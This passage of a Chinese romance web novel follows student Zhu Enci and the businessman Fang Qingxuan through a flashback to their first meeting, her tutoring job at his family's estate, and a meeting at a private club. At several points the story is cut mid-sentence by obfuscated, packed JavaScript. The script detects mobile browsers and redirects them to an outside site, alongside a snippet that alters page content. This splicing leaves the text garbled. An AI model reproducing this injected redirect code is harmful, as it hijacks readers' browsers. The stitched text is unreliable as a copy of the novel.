桌子很长,蒋羽的左边站着方清悬,右边坐着祝恩慈。 耳旁不断传来老太太的叨叨。 说起的又是林家二小姐的事。 方清悬只是听着,又貌似充耳不闻,他面色无波,静静地瞧着画纸。 虽然和他隔了个蒋羽,祝恩慈也感受到一股带着侵略感的清冽气息,萦绕周身。 祝恩慈注意到,男人方才还扣得齐整的衣襟,此刻已经松了两颗扣子,在厢房谈事情谈到嫌闷,露出颈间的一点净色。 蒋羽实在有点怵眼前不说话的人,怕又遭奚落,赶忙和祝恩慈说:“祝老师,你再教教我什么浓墨淡墨。” 方清悬对这孩子难得的和善感到略略意外,这才看了一眼静坐寡言的祝恩慈。 然后又听见蒋羽问了祝恩慈:“以后你来给我上课吗?” 祝恩慈如实说:“这不是我能决定的。” 蒋羽知道谁能做主,转过身子,冲方清悬讨好一笑:“那我决定好不好?画画ok弹琴no!” 方清悬的视线仍然落在祝恩慈身上。 而祝恩慈早就注意到这一抹注视,此时才抬眼,对上他的眼神。 方清悬没说蒋羽的事儿,倒是弯了弯嘴角,眼中并没有太多笑意,说道:“让你见笑了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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课桌中间,把悄悄话都听了去的蒋羽挑起一双慧黠的眼,意味深长地笑看方清悬。 他手掌一按,将那颗看好戏的脑袋压回去:“接着画你的。” 尔后,方清悬到捻完佛珠的老太太跟前,献上一杯茶,没应任何一句和林姑娘有关的话,只是招呼一声:“我送祝小姐回学校。” 老太太不抬头,仍在怨他不懂事,眉毛拧了个八字:“又不留下吃饭?” 知道她不高兴什么,方清悬给了颗枣儿,把这话周旋过去:“您要听的那豫剧的戏班子,我给您请过来了,就在绮园,唱堂会,您定个时间。” 老太太果然换了眼色看他:“你姐说那班主可有个性,愣是请不动。” 方清悬不以为然地,“在哪儿搭台不是唱?有什么请不动。” 老太太和颜悦色了些,家里大小事,只要方清悬来安排,一应俱全,她很放心。 又看一眼祝恩慈,对自家孙子说:“行了,去吧。” 他点头,说:“您早些休息。” 祝恩慈提好自己的背包,礼貌地道别,随后跟他出去。 夜里起了点薄雾,月影沉沉,树影婆娑摇在池子里。 男人走在前面,他腿很长,即便迈得不急,也让祝恩慈难于跟紧。 她提了提速才勉强没有落后。 祝恩慈抬眸,便见男人的阔肩与窄腰,被束在矜冷的衬衣之中,一阵风来,衣裳贴了身,成熟男人的身体轮廓显现出来。 清扫庭院的阿姨下班路过,见了他都要驻足,毕恭毕敬地说一声方总晚上好。 方清悬一一应过。 见有旁人,祝恩慈不便多看,没有过多流连男人峻拔的身躯,有所克制地敛了眸色。 祝恩慈再瞧一眼这园子里处处的雍容,不敢多心分毫,她不忘来这里的正事,正要和他交代蒋羽的绘画功底问题。 方清悬率先开了口:“助学金能申请上吗?” “……嗯?”祝恩慈一愣,徐徐反应过来他在说什么,“应该能。” 方清悬又问:“大概到手多少?” 她沉默一阵,正在心里算计着准确的数字。 而这阵短暂的沉默让他会错了意,想是越界,方清悬说:“不想说的话可以保密。” 祝恩慈认真回答:“要看等级,具体的公告还没有下来,不过能养活我自己。” 两人就这么聊了几句,就静悄悄地并行上了。 隔得不近不远,一米多一些。 因为要配合她的步调,方清悬的步子迈得悠悠。 风将他领子掀得敞开,他并不挂心,也不觉得秋风严寒,在静谧的瞬息里,偏头看了看祝恩慈。 一道打量的视线停留在她脸上,她心下别扭,绷紧了脊背,生怕在他面前形象有损。 他忽然看着她,语气温和。 “长大了不少。” 祝恩慈起初并没明白这五个字是在说什么。 目之所及,一棵老槐树,还有一池肥硕的鲤鱼。四下都是生命,都可以成为他的主语。 她有所思考地迟钝了片刻,才缓缓地意识到,他是在说她。 不用再掐指清算时间,祝恩慈脱口而出说:“都三年了。” 方清悬低了眸,思忖着流水般淌过的时间,若有所思说:“跟三天似的。” 祝恩慈不觉得三年如三天。 他不知道,成年人的时间过得很快,高中生的时间却度秒如年。 走过垂花门,身后吵闹诸事像潮水褪去,很快便只剩一前一后的人影浮在月下。 4. 青山隐隐04 院外,陈勉在候着。 仍然是那辆迈巴赫。 祝恩慈上了车,双手抄到裙下,捋顺了褶皱,坐好。 方清悬就在她身侧。 车在胡同的黑幕里开出去,缓缓加速,很快并入车河。 方清悬没有什么话,闭了闭眼。 她估摸着他心中有事,比如想工作,又比如,想那八卦里的林二小姐。 在他那个位置的人,总会有许多筹谋,自然不必花心思和一个小女孩斡旋。 她便也不吭声,给彼此独立清净的空间,稍一偏目,便看到男人骨节分明的手指,松松地搭在腿上。 她不敢多往上看,目之所及,还有一段骨骼硬朗的手腕,青筋分明,陷入叠起的黑色衬衫袖口之中。 一方矜贵,又嵌一丝干净斯文的书卷气,如冬天第一抹薄雪,不压迫,但有寒意。 方清悬睁了眼,问她:“家里生意怎么样?” 哪里谈得上生意?不过是给人做布料的小铺子。 “这两年缓过来了。” 方清悬思索着,想起她体弱的母亲和那个经营不善的铺子。 没再提这茬,过会儿,他又问:“愿意留下来吗?” 说的是来绮园教孩子国画的事儿。 祝恩慈给了一个折中的回答:“我会考虑。” 她自知方家不缺家庭教师,这不答应的话反而将她自己架子摆高了。 他倒是不计较:“小羽很喜欢你。” 她便说:“我也喜欢她。” 方清悬知道她并不理解,被他们家那位混世女魔王喜欢是件多难得的事情,找个合拍的家教更是难上加难。 但也没有继续聊深,于是点到为止地询问到这儿。 祝恩慈再开口,是出其不意地问他一句:“我想知道,方先生为什么请我来绮园?” 方清悬没看穿这是个什么性质的问题,他望向她。 祝恩慈也回视:“就因为看到我在书签上的画?” 这姑娘比他想象得心思要深一些。 方清悬卖了个关子:“你猜猜看。” 祝恩慈煞有其事地说:“我猜,陈叔叔告诉您我长途跋涉,一天一夜火车过来,绘声绘色把我描述得很苍白狼狈,让您动了恻隐之心。” 她咬字清晰,声音又有些脆,显得清澈,像叮叮咚咚的温温泉水淌过了小小石头。 前排的陈勉听了,握拳在嘴边,心虚地低咳一声。 方清悬不言,就那么静静地敛着眉目,嘴角似笑非笑地弯一点弧度。 她接着说下去:“助学金是因为符合标准所以申了,火车是因为能省则省所以坐了。还好还很年轻,腰不酸背不痛,下回还打算试试。” 一番争面子的话,真把他说笑了。 像在努力地证明自己家里生意真的缓过来了,不再那么需要接济。 面上出落得温婉动人,身体里还有些孩子气的拙稚。 还会较劲。 祝恩慈不明白他这个云山雾罩的笑里有什么深意,便停下言语,再留心观察。 方清悬没跟她一样弯弯绕绕,直白地问:“需要吗?这份工作。” “需要,”她顿了顿,“但是……” 他揣测着,补充道:“不想被同情?” 祝恩慈倒不觉得有这么严重,而且这样显得她好清高:“也不是。” 被同情惯了,早都脱敏,谈什么想不想,她答:“旁人怎么想伤不到我。” 自尊心强的人都心肠曲折,话里心里总是两样。 他说,“要真这么觉得才好。” 祝恩慈一凛,像遽然被这话疏通了筋骨。 方清悬宽慰似的给她讲清了条件:“老太太出手阔绰,在方家即便做些闲差都够谋生的。你有空来就成,我让小孩配合你的时间。” 祝恩慈静了静,终于说:“谢谢您。” 他说:“敬语就省了,今后还会碰面,自在些,也没差辈儿。” 祝恩慈的语气变轻盈了些:“是我和陈叔叔学的,他一口一个您,入乡随俗我懂的,要是不加那前鼻音,显得我好没规矩。” 陈勉在前面开着车,不禁失笑,但没插话。 方清悬倒是从容,只说:“在我这儿不必讲规矩。” 说着,车在前面红灯处停下,他让陈勉递来一张名片。 祝恩慈接过,看到他名片上的铅字。 方清悬在车里和她说的最后一句话:“有难处找我。” 车子一径抵达校园教学楼下,畅通无阻。 “好,谢谢……你。” 她珍重地捏着名片下车,俭省一个音节,口齿还有些不自在。 深色的裙角像从车缝里逃逸,蹁跹地落定在小腿,人就轻快地跑了出去。 车停在教学楼未歇的灯光里,有不少人正扶着阳台的阑干往下看,是广场上的桂花开了,个个跑出来闻气味儿。 步履平缓,身姿峻拔的男人就这样走进星星的光点中。 他不是下车送祝恩慈的,是出来抽了根烟。 再一抬头看去,祝恩慈已经轻快地跑到了四楼。 从他车上下来,她像一头被放归自然的鹿,闻到了她的世界本该有的气息,方才在绮园那拘谨绷直的身子也真切地舒展开了,陪着同学往阑干一扶,低眸看到仰头的男人。 他口中的烟头猩红一亮,照出一双晦昧的眼。 那般清净孤绝的气质,在人堆里好似一棵修长的竹,说不醒目说假的。 匆匆一瞥,她仿佛又受惊扰,快速缩回了脖子。 方清悬本没有多余的情绪,见状一笑置之。 有几个院里领导下了楼,簇拥在人中央的是院长,见了方清悬,吃惊说声:“方总今儿得闲来学校了。” 方清悬将烟揿灭:“来送送人。” 旁人交换眼神,“家里妹妹?” 方清悬忽视这一句,对院长说:“周五峰会结束,有空一起吃顿饭。上回商讨的工作怎么落地,现在有些问题还没捋明白。” 见他别开话题,周围都也不敢多问。 院长走上前,恭迎姿态:“只要方总时间充裕,我自然是奉陪。” 方清悬点头,“好说。” 降温的冷风很容易让人受寒,祝恩慈在夜里添了衣裳。 她躺在床上,抬头望着寝室的天花板才觉得,漂浮的一天结束了。 宿舍的床板不够舒服,但那硌人的棱角才足够真实,总算让她踏实地落了地。 在急转而下的气温里,祝恩慈闭上眼就想起十五岁时,初次遇见方清悬的场景。 …… 在离京城十万八千里的青山,她降生在那多雨的山洼里,每天的上学路,要穿过山水重重。 高一开学不久,听说学校附近要开设新的基建工程,班里同学交头接耳,说等市里的文件下来,南川今后要发展,到处都是马路,咱上学可以坐车了! 祝恩慈彼时并不关心什么坐不坐车,对着妈妈从医院拿回来的检查结果茶饭不思。 宫颈癌。 她在想,“癌”这个字好丑,她从没见过这么丑的汉字,看久了,不光是丑陋,还有点儿恶心。 妈妈在镇上的店铺关停了,住进医院,家里应该没有太多的钱了,祝芳菲不和她讲具体的数目,祝恩慈偷偷计算出来她入院的大致费用。 写在那个“癌”字的下面。 每一笔,她都不能承受。 “来,三班班长,过来一下。”校长站在门口招呼她。 祝恩慈应声到门口。 校长的气质挺斯文的,对好学生态度尤其和蔼:“过两天有上面的领导下来考察咱们这儿的情况,包括学校,还有学校周边的一些设施,可能会考虑给我们扩建一下校区,你这两天注意一下班里的纪律,整肃一下班风,听课的时候保证大家有精气神,知道吗?” 像交代家里特靠谱的孩子似的,校长帮她整整衣领。 祝恩慈说好。 “学校成败在此一举。” 学生对领导视察没什么新鲜感,比往日生活无非是多几节公开课,课上装模作样端直了身子,配合老师的表演。 然后看着教导主任恭敬地和领导们笑一笑,握握手,打好关系。 那几天下了一场雨。 祝恩慈就在灰蒙蒙的天色里见到了方清悬。 一个与青山格格不入的男人。 他就悄然地坐在那琅琅的读书声中,穿考究的衬衫,清隽斯文,神情里带点倦意,撑着太阳穴,坐在最后一排给听课老师安排的空位上,置身事外地阖目休息了一会儿。 没人知道他是什么时候进来的。 等到“来了个好帅的老师!”的消息传遍教室,祝恩慈才是最后一个注意到他的。 他什么教案和记录手册也没带,就懒散地支着下颌坐在灰霉教室里,像是睡着了。 明明没有被听课的年轻女老师也拿腔拿调,端正了脊背,声音都变得轻细温柔了些。 “祝恩慈,你来领读一下这篇reading。” 还回着头看身后人的祝恩慈被点起来,等她读完书再坐下,那个“好帅的老师”已经不在位置上了。 他坐过的地方空流门缝里淌进的薄薄雾气。 不过短短七八分钟。 好像从没有人进来过。 那天晚上,祝恩慈留堂学习了一会儿,这两天因为有视察工作,学校没敢留他们上晚自习。 她负责打扫包干区的卫生,结束后已经不早了,雨有点大,祝恩慈想着这会儿领导们应该都走完了,就一个人在教室里做了会儿数学题。 背包离开,路过亮灯的校长办公室的时候,祝恩慈再次看到了那个眉眼英俊的男人。 同学都猜他是老师,因为太年轻了。 但祝恩慈觉得他不是。 她从窗外一瞥,男人就坐在领导们的中间,迎着一圈谄媚的笑意,他本人倒是没什么表情地在看着手里的文件,另一只手在转着一只水笔。 老师远没有他这么气定神闲,老师看着都拘谨。 他往那儿一坐,姿态松弛自如,且游刃有余,好似转一下笔,就能拍板一个重大决策。 令在场的人都呼吸变紧。 而他那双淡淡的眸子对望过来时,让她的心跳也仿若静止了瞬息,心下想的是校长那句夸大其词的:学校成败在此一举。 她没有惊扰任何人,走到校门口发现雨又大了。 在一个遮不住雨的屋檐底下稍作停留,她往鞋上套一双雨靴时,一辆轿车忽然疾驰过去,溅了她一身水。 祝恩慈眉头一蹙,发现裤管湿了。 正抬头望去,发现那车慢行下来,直至停下。 很快,宽大的伞面挡在了她的头顶,雨丝急坠,打在伞面作响。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187162|165502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人替她撑好伞,低眸看着正在艰难穿鞋的女孩。 “抱歉,没有路灯,不太方便。” 为了保持跟蹲下的她同一水平线,方清悬也随之蹲下,诚恳地关怀道,“有没有打湿?” 祝恩慈视线里,那只漂亮的,经络清澈的手正攥着伞柄。 她没太多脾气,身上沾一点水无足挂齿,表现得很镇静:“一点点,不要紧。” 再往上看,她见到了他的眼睛,狭长而深邃,但很温和,尤其沾了夜色,显得平静淡泊。 雨靴套好,祝恩慈起了身。 男人随之而起,站在一柄伞下,她的身高就落下去了一节。他仍然好整以暇地为她撑伞。 祝恩慈平视过去,只能看到他精致的袖口。 他声音磁沉,盖过雨声:“不回家吗?” “就回了。” “送你一段儿吧,当我赔罪。” 方清悬低眸,扫过她裤子膝盖的一片洇湿。 男人近在咫尺的眼,带点抱歉的低敛姿态,让她想起一句话: 谦谦君子,温润如玉。 男人的声音和眼前这辆漆黑的车一样有质感,磁性的,成熟的,落地稳重。 也具有一定的威严。 说话口音显然不是本地人,圆润地道的京腔,她只在电视里听过。 在她思索的沉默过后,方清悬又低了低声音:“走吗,小班长?” 眼见雨越下越大,祝恩慈的后背都湿了,她没有太多的时间扭捏,也觉得这人是该给她湿淋淋的裤子赔个罪。 于是说了句:“谢谢……” 这会儿,她觉得加个称谓有礼貌些。 叔叔把人喊老了,哥哥有些暧昧。 于是脱口而出两个字,“老师。” 他快一个脚步,听见这声招呼,大概是笑了下,但并没有纠正什么。 没料到这车里还有司机,司机回头又给祝恩慈道歉,说没看清路,她说不要紧。 两人并排坐,方清悬递来纸巾:“留在这儿学习?” 她说:“我习惯在学校就把作业做完。” 祝恩慈用纸擦去额角的水珠,擦出白净的一张清清秀秀的脸。 方清悬表现得很理解,颔首说:“学校要清净许多。” 祝恩慈:“和家里简直就是两个环境。” 她心不在焉地想,那是她生长到十五岁,坐过的最有格调的一部车。 里面萦绕的清香,有着与山庄村落毫不相容的风雅气质。 如果说青山这块地,好比起她雨靴上很快会沾满的雨水、泥浆,这车与人的气息便更像是烟雨弥散后,久久回荡在山头的那一抹烟尘,袅袅地散去。 祝恩慈问他:“您不是老师对吧?” 方清悬说:“刚才不是喊得挺顺口?” 她说:“因为我忘了,您下午听课的时候都睡着了。” 男人似乎是在暗中微微笑了下,看向她,又问:“那你觉得我像什么?” “老板。”她笃定地说,“市里来的,或者更高一级,总之是能决定我们学校前程的那种。” 她说着前程,眼里也是分外虔诚,看起来有着临危受命的悲壮,十分心系学校的建设与发展。 方清悬听懂她的微妙期待,却没有接话。 他自如地转移了话题:“到哪里?” 祝恩慈这才想起来没有讲清地址,对前面的司机说:“到县医院,谢谢。” 到医院不用翻山越岭,拐个弯就到了。 他有边界感,不再问去医院做什么。 祝恩慈下车时,一句话咀嚼在口中许久,最终不是出于关怀学校的目的,而是带有私心地问了一声方清悬:“明天您还来吗。” 外面雨声有些大,盖过了她的呢喃,他凑近一些,低声的:“什么?” 被拉近的距离,让他身上的气息又贴近了一些。 祝恩慈心尖像被烫了一下。 欲求与释怀统统都在一念间,她改口说:“晚安,这位老师。祝您好人好梦。” 他不再追问,也礼貌地回敬一句:“晚安。” 那毫无二心,不过是出于教养,搭载了旁人的雨夜一程,悠悠地就这样翻了篇。 京城的秋凉青山的雨,淅淅沥沥地融合在了梦里。 阴气沉沉的夜,让她翻来覆去的睡不踏实。 一觉醒来,祝恩慈动动脖子,回想昨天种种,觉得所见所闻更不真切了,恐怕是做了个梦。 昨夜,他对她说的最后一句话是什么来着? “有难处找我。” 这句是客气还是真心,她就当真参悟不透了。 绮园一梦,像书里的太虚幻境,只是那小石桥上少了些仙气儿和云雾,渺渺然,多少令人神思怅惘。 等梦境的余温散尽,梦的底色只剩男人谦和俊美的一双眼。 她非要装出骨气,表现得不缺那几个子儿,但倘若真婉拒了他,便没有再碰头的契机。 那未免太遗憾。 如此便想,一个穷学生,还是在富贵人家做闲差最稳妥、最好运。 于是贪心不足地留下了他的名片。 祝恩慈反复地看着上面的成扬集团和方清悬的名字。 他不再是梦,北京也终于在她的脚下。 祝恩慈在搜索框输入联系电话,然后点击添加好友,申请理由:我是祝恩慈。 5. 青山隐隐05 方清悬很快添加了祝恩慈,跟她要了课表,又说萍姨会主动找她谈薪资的事。 祝恩慈想,纵然当时在车上,他的话里有挽留的意思,其实不论她答不答应都无伤大雅。 绮园琐事,不过他的家事一隅,他没有悉数做安排。 开学之后,祝恩慈拿着助学金申请的相关证件去了一趟学工办。 周一,老师们都挺忙的,班主任和辅导员一行人刚从一个会议上下来,回来就见办公室里堆满了学生。 祝恩慈排在后边。 前面的是三个大三的学长学姐,在讲飞行器设计大赛相关的事情。 比赛会在这学期期中举行,目前在备赛阶段,实验室面临的问题是资金紧缺,于是找到老师这儿来帮忙,看看能不能拉几个投资商。 “上回程老师说新拨给咱的那笔款到现在还没着落,前两天郭师兄垫了点儿,经费要是补不上,很多细节恐怕没法儿落地。” 说话的是梁宇恒。 班主任考虑着说道:“这两天成扬那边跟院长有个合作计划,我看能不能托院长跟方先生说一声,赞助的事儿你们甭管了,专心忙比赛。” 两个男孩子高兴地击掌。 另一个女生苏朵笑了下:“您早说方公子抬爱,我们也不愁了。” 祝恩慈在一旁站着,安静看着他们。 三个人离开之后,她的神思跟着他们攀谈的声音到了门口。 见老师端起电话打了起来,还不紧不慢地转着椅子,祝恩慈有点儿等不及了,她把证明材料轻轻放在办公桌一角,随后很快跟出了办公室。 “学姐你好,我是大一的新生。” 苏朵发现有人跟上来,回头看她一眼:“嗯?” 祝恩慈站定,看着女生说:“冒昧问一句,我可以参与你们的比赛吗?” 闻言,三个人同时看向她。 她说:“我刚刚入学,从前也没有参加过这一类的竞赛,可能没有太多的经验,我可以不要署名,但我很想参与这个过程,如果你们需要人打打杂,我也可以。” 苏朵说:“但是搞大赛很费精力的,大一课多,你顾得过来吗?” 祝恩慈说:“时间就像海绵里的水,挤挤总会有的。” 她的社交方式有一些生硬,不过言辞恳切,看得出很想抓住这个机会。 前面两个男生都听笑了,冲她竖大拇指:“有志向!” 祝恩慈腼腆一笑。 苏朵晃晃手机:“那加个微信聊?” “好。” 祝恩慈点头,和学姐互通了联系方式。 再跟着往前走。 前面两个男生聊到:“老班刚说的那个集团跟院长合作什么?” “我听说是商业航空那个方面的。” “他说的方先生是谁啊?” 祝恩慈抬眸看去。 苏朵也收好手机,过去往男生后脑勺轻拍一击,“成扬没听说过?方家没听说过?孤陋寡闻。” “我知道方家,不过,不会真是我知道的那个方家吧?”胡润泽懵懵地揉揉脑袋。 “就是!” 梁宇恒拱她一下,低头问:“诶,你真见过成扬那公子哥儿?” “上回学校开大会我去了,偷偷瞄到咯。” 对方好奇问:“长得有传闻里那么帅啊?” “一表人才,风流倜傥,那气质好得跟神仙似的!” 梁宇恒笑:“神仙是哪儿样的?我们可没见过。” “看着就是喝露水长大的,那仙气儿,那气场,哪儿是你们这种凡夫俗子比得上的。” 俩男生齐声笑:“反正没人见过,就听你吹。” 苏朵瞪一眼,随后又收回去视线,一脸懒得跟你们解释的表情。 她脑袋再一偏,发现学院楼下停了辆跑车。 有点儿扎眼。 车上下来的男生一脸宽松潮流的打扮,长得很痞,细链挂在t恤上,短鬓、断眉。一双堪称桀骜的视线往祝恩慈身上一扫,就看得她不舒服。 祝恩慈手上抱着一会儿去公共教室上课的书,只低头走着,被人截了道。 “沈老师在不在?”说话的男声很低,有点儿哑。 祝恩慈如实说:“我不太熟。” 她要绕过他走,又被拦下——“新生?” 她眉一拧,但态度还算好:“嗯。” 那男生居然笑了下:“有点儿新鲜。” 祝恩慈有了明显的不适,她抬头看着对方高高在上的眼睛,秀眉蹙紧,声音轻柔但有力:“什么样的人会用新鲜这个词形容女生?” 对方笑意变深,手抄兜里,低头看她:“不仅新鲜,还有个性。” 这样的笑,这样的戏弄,就像主人被宠物爪子挠了一把似的,不恼怒,只有一股子凌弱的优越。 男生不过言辞上戏谑两句,就绕开她往里走了。直到听到身后祝恩慈又一句“你好奇怪”。 他住了脚,往后看去。 与此同时,祝恩慈手腕被人一拽,苏朵急忙把她拉走:“看见那少爷绕道就行,别跟他轴。马院出了名的花花公子。” “……”走出去一段,祝恩慈紧咬的牙关才慢慢松开。 大学校园,鱼龙混杂,什么人都有。 当天是周五,没有晚自习,许嘉诚问祝恩慈要不要出去玩儿。 看到消息的时候,祝恩慈正坐在图书馆里看苏朵给她发的往年比赛视频和详解,想都没想就婉言拒绝了。 他说:咱今天不逛园子,带你去去高档的圈子转转,认识些有名望的人。 祝恩慈对名望没有兴致,再次拒绝。 许嘉诚好言相劝:你现在刚大一,还不懂人情社会有多难混,还会相信惟有读书高,你到了我这个快毕业的时候就知道了,你想在北京这种地儿立住脚,课本上那些知识根本不够用的,人脉才是最扎实的底气。 祝恩慈不喜欢听大道理,她飞速扫了一眼,正思索着回绝的措辞。 许嘉诚:下来吧,我在图书馆门口。 祝恩慈往下一瞧,许嘉诚果真伏在摩托车上,拿着手机,明显是在给她发消息。 手机震一下,她再打开,看到一行字:等你立足了,才能把你妈妈接过来一起生活,首都的医疗教育资源跟山里是天上地下,你一点儿也不想回青山吧? 祝恩慈经历过家人病痛,他知道她的软肋是什么。 她最终回一句:知道了。 不过她当时想不通,许嘉诚执意要带她去所谓的高档场所,认识所谓的高档人士的目的。 直到他让她别戴常戴的那块手表。 祝恩慈了然,男人是好面子的物种,出门在外,身旁有个光鲜漂亮的女伴,自然便也有了扬眉吐气的空间。 “T大的师兄师姐,还有几个博导教授。反正你跟着我去认识认识,又不损失什么,是不是?” 许嘉诚一边语重心长地说着,一边领她走进会所大楼。 祝恩慈一抬头,就看到那个如同金字塔顶一样闪耀在夜空的顶层时钟。 那天,黄锦云圈住这块小小的亮度,跟她言之凿凿地说了两个“顶级”。 顶级会所,顶级富人。 比起她想象里金碧辉煌,雍容华贵的样子,会所里头的陈设反而很是古朴雅致,甚至看起来有些岁月的痕迹。 这楼应该年头不小了,没什么黄金璀璨,倒是摆满稀世的古物。 不识货的人难懂这样的荣显。 北京这个地方,令人感觉财不外露,古意盎然的浅淡韵味里,藏的往往是等闲之辈揣摩不起的荣华,是大隐隐于市的安逸富庶。 许嘉诚取了张卡给前台,拿回来时又亮给祝恩慈看,眼里闪一道貌似得意的微光:“入场券。” 祝恩慈随他上电梯:“你办的卡吗?” “这地儿哪是想办卡就能办成的?这顶层是个私人会所,我实习公司老板的卡。” 祝恩慈没接上他这虚荣心过剩的一茬,一脸不在意天高地厚的淡然。 许嘉诚有些被这无视伤到。 他想,她有时候看着很清高。 包间在顶层,来的人里面没有什么教授博导,许嘉诚问哪个老师怎么没来的时候,祝恩慈就站在落地窗前,安静地看着底下蚂蚁一样蠕动的人与车。 原来这楼这么高。 从这儿看人,把人都看扁了。 “恩慈,过来坐啊。” 祝恩慈找了个边角的位置,看那些还算面善的学长学姐聊着天,他们轮番讲讲学业和论文压力,话题时而带到她,她答不上来的,许嘉诚都会帮忙应付过去。 他们也会客气地说如果来T大读研,会给她提前介绍导师。 知识分子的聚会还算让人舒服,谈古道今,言笑之间就酒过三巡了。 话聊干了,一行人就玩了会儿骰子和扑克牌。 祝恩慈不知道那天自己是怎么醉的,要说喝多,似乎也没有。不过第一次碰酒总该要懂浅尝辄止的,但她仍然怕扫了大家的兴致,几杯酒下肚,热气就上了脸。 她用微凉的手背碰一碰颊面:“我去洗手间。” 许嘉诚扶着膝盖要站起来:“我陪你去?” “不用。” “你知道在哪儿吗?” “来的时候看到了。” 第一次尝试到喝醉的感觉,祝恩慈觉得还挺稀奇的,脚步都有些飘了。 她从洗手间出来,又到走廊尽头的窗边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他起了身,款步到窗前,看着外面的万家灯火,若有所思地说下去:“老一辈人性子倔,他跟前儿使绊子的人多,盯着成扬这块肉的人更多,他太容易轻信旁人,又不屑于听小辈的建议。我只盼他到时候顺顺利利退下来,在任时间不多了,确保别在这两年生出什么幺蛾子就行。” 偌大的玻璃窗照出男人修长笔直的身形。 方清悬说着,视线虚了焦:“只能说尽可能给他兜底,成扬不到我手上,我就保证不了什么。” 陈秉言打量着他:“真是长大了,会算计了。” 自小一起长大,陈秉言倒是真有资格说这话,方清悬淡淡:“少拿我寻开心。” 陈秉言说:“另辟蹊径,曲线救国。我懂。” 方清悬意有所指地回一句:“总比半辈子当人提线木偶,要娶这个娶那个来巩固地位强些,我自然要早做打算。” 陈秉言听懂他的弦外音:“你跟这林二小姐还真是不对付。” 说到这儿,徐总进了门。 两人话匣止住。 方清悬见壶里茶水快见底了,想找人添置些。 门口站着侍应生,他正要去唤,将一开门,还没见着人,忽而有人猛地往前一滑。 他尚没看清是谁,对方便不稳地跌到他的面前。 祝恩慈是打算开门来着,没料里头有人先一步,她的手落了空,于是脚也跟着一坡,双手就这么往前一撑。 就被他牢牢捉住了腕子。 滚烫的掌心擒住一片清冷骨骼。 她发上的茉香落入皑皑雪松。 方清悬看清她的脸:“祝姑娘?” 祝恩慈急忙松手,跟他眸子对上,心下一愕,“不好意思,走错了。” 徐总听见门口动静,挑眼一看:“嚯,这小美女,还知道找个最帅的投怀送抱。” 许是想对方公子投怀送抱的人多了,再多这么一个带心眼的也不稀罕。 徐总语气里的揶揄多过吃惊。 祝恩慈闻言,眸色一凝,倒是惊住,清丽眼圈里又透出点倔强与克制。 身子醉了,还有力气掌控神智,确保不逾矩。 她不太表现出羞意,今儿是真喝红了脸,连耳根子都是热的。 “抱歉。”她又说一句。 方清悬见她快步往外走,他转身到桌前。 男人声音微冷,往茶室里丢下一句:“徐总如果不会说话,下回少喝几口。省得在外面跌份儿,碰上较真儿的,让人指点涵养。” 他拎走挂在椅背的西装,扫他一眼,说:“局面也难收拾。” 徐总见风使舵,听出金主这是不高兴了:“呸,我这臭嘴!” 方清悬拿件衣裳的功夫,门口那道清瘦影子就没了,他将西装挎在臂弯,一只手扥紧了领带,往外走。 “今天就到这儿。” 6. 青山隐隐06 祝恩慈真迷路了。 她就这么转悠着,不知道自己走到了哪儿,一道顶梁的高门被推开,走进一片有着潮气的黑暗里,听见滴落的水声。 “那是个泳池。” 男人的声音传来,脚步款款,跟得不紧。 祝恩慈嘴角一僵,在他出声之前已经察觉到了,正要回头的步子却为此打住,她梗着脖子,说:“我就是来找泳池的。” 方清悬往前走。 随着他漫步而来,头顶灯光亮起,穿衬衫马甲的侍应生也跟过来,快步往前,像要去拦住前边那位不速之客。 方清悬抬了抬手。 侍应生瞥见他的动作,便识趣地顿下步子,微微折首,听候指令。 方清悬问她:“会游吗?” 祝恩慈手背在后面,给自己造了点架势:“不游,我只是参观。” 侍应生看一眼方清悬:“方先生有什么需要?” 他把人支开:“去倒两杯醒酒茶。” 祝恩慈站在他的五米开外,呆脸上还有些微醺的红晕,回头看他:“我没有醉。” 他在一旁的观景台沙发坐下,“是我渴了。” 祝恩慈抿着唇,气焰衰败下来一节,沉默不语。 方清悬的臂弯里还挂着他的西服,他坐在靛青色的卡座中,在已经闭合的顶灯之下,肩上一抹色借了落地窗外冷溶溶的弯月。 祝恩慈说参观就参观,真的装像到底,围着这浮着泠泠月影的池子转了好大一圈。 泳池没什么新奇的,余光里气定神闲的男人倒更是吸睛。 “陪我喝几口?”哄人喝茶,他也有自己谦和的那一套说辞。 斟好的茶被推了一盏给她。祝恩慈在他对面坐下,文质彬彬应声:“多谢。” 泳池周遭森森的冷气把她身上的酒意疏通净了。 方清悬扫一眼努力表现得不那么拘谨,但眉目里仍然紧绷的小姑娘,“客气。” 她拿杯盏喝茶的时候,在氤氲的一道热涌里,才敢抬了眸,瞧一瞧他。 陌上人如玉,公子世无双。 祝恩慈同样打量他的时候,想的是这句诗,长这么大,她也只真正在一人身上感受过这般气质。 茶盘里还有些蜜饯和糕点。 他折起修长的骨节,将其轻缓推过去:“吃点儿甜的,当我给你赔个不是。” 她眉目清清,问:“赔什么不是?” 方清悬声音低醇,颇具哄人的耐心:“身边儿的人数落了姑娘,惹人不痛快,我难不成是个呆子,连脸色也不懂得看了?” 他嘴角带丝丝笑弧,称不上讨好的意思,但话里的恳切是真想叫她别往心里去。 祝恩慈沉吟了十秒钟左右,岔开话题:“绮园那边,你要是交代好了我就过去,你们家小朋友太有个性,我有点害怕,不敢贸然称老师。” 方清悬闻言,只静静地说:“私人时间,不谈公事。” 她被噎了下,旋即道:“那我不吭声好了。” 